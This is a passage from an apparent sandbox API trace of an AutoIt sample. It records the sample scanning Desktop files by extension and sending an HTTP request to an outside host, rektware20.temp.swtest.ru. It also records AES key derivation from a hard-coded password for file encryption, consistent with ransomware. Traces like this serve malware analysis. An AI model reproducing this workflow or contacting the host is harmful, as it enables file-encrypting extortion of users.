dwCmpFlags=0x1, lpString1="s\\Desktop\\v9QSV-fpmiyBDo4VCAvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.249] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Desktop\\v9QSV-fpmiyBDo4VCAvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.249] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Desktop\\v9QSV-fpmiyBDo4VCAvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.249] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop\\v9QSV-fpmiyBDo4VCAvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.249] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop\\v9QSV-fpmiyBDo4VCAvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.249] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop\\v9QSV-fpmiyBDo4VCAvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.249] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top\\v9QSV-fpmiyBDo4VCAvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.249] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op\\v9QSV-fpmiyBDo4VCAvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.249] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p\\v9QSV-fpmiyBDo4VCAvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.249] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\v9QSV-fpmiyBDo4VCAvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.249] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="v9QSV-fpmiyBDo4VCAvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.249] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9QSV-fpmiyBDo4VCAvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.249] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="QSV-fpmiyBDo4VCAvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.249] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SV-fpmiyBDo4VCAvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.249] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="V-fpmiyBDo4VCAvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.249] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-fpmiyBDo4VCAvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.249] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fpmiyBDo4VCAvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.249] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pmiyBDo4VCAvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.249] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="miyBDo4VCAvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.249] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iyBDo4VCAvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.249] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yBDo4VCAvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.249] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BDo4VCAvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.249] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Do4VCAvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.249] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="o4VCAvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.249] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4VCAvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.249] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VCAvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.249] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CAvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.249] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="AvP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.249] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vP.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.249] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="P.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.249] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0078.249] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.249] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.249] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0078.249] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0078.250] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0078.250] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0078.250] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0078.250] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0078.250] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0078.250] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f28, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620f28, lpdwBufferLength=0x130ee1c) returned 1 [0078.250] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0078.250] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0078.250] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0078.250] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0078.250] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0078.250] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0078.250] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16291a0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0078.251] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16293b0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16293b0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0078.251] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0078.251] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0078.251] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0078.251] CloseHandle (hObject=0x0) returned 0 [0078.251] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.251] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\v9QSV-fpmiyBDo4VCAvP.pdf", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d130 [0078.251] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0078.251] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.251] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0078.251] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.252] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.252] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0078.252] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.252] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0078.252] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.252] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.252] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0078.252] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.252] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.252] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.252] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.252] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.252] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0078.252] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0078.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0078.252] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0078.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0078.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e290, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0078.253] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0078.253] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x1631bb0) returned 1 [0078.253] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.253] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.253] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0078.253] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.253] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.254] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.254] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.254] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.254] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0078.254] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.254] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.254] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.254] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.254] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.254] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.254] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0078.254] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.254] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.254] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0078.254] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.254] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.254] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0078.254] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.254] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.255] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0078.255] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.255] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.255] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.255] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.255] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.255] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.255] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.255] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0078.255] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.255] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0078.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16213c0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0078.256] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0078.256] CryptCreateHash (in: hProv=0x1631bb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0078.256] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.256] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.256] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.256] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0078.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629490, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0078.256] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0078.256] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0078.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0078.256] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.256] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.256] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.256] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0078.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16217f8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0078.257] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0078.257] CryptHashData (hHash=0x164c3f0, pbData=0x1629460, dwDataLen=0x3, dwFlags=0x1) returned 1 [0078.257] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.257] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.257] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.257] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.257] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.257] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0078.257] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.257] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0078.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621888, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0078.257] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0078.257] CryptDeriveKey (in: hProv=0x1631bb0, Algid=0x6610, hBaseData=0x164c3f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c4f0) returned 1 [0078.257] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.257] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.257] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.257] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.258] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.258] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.258] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0078.258] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", 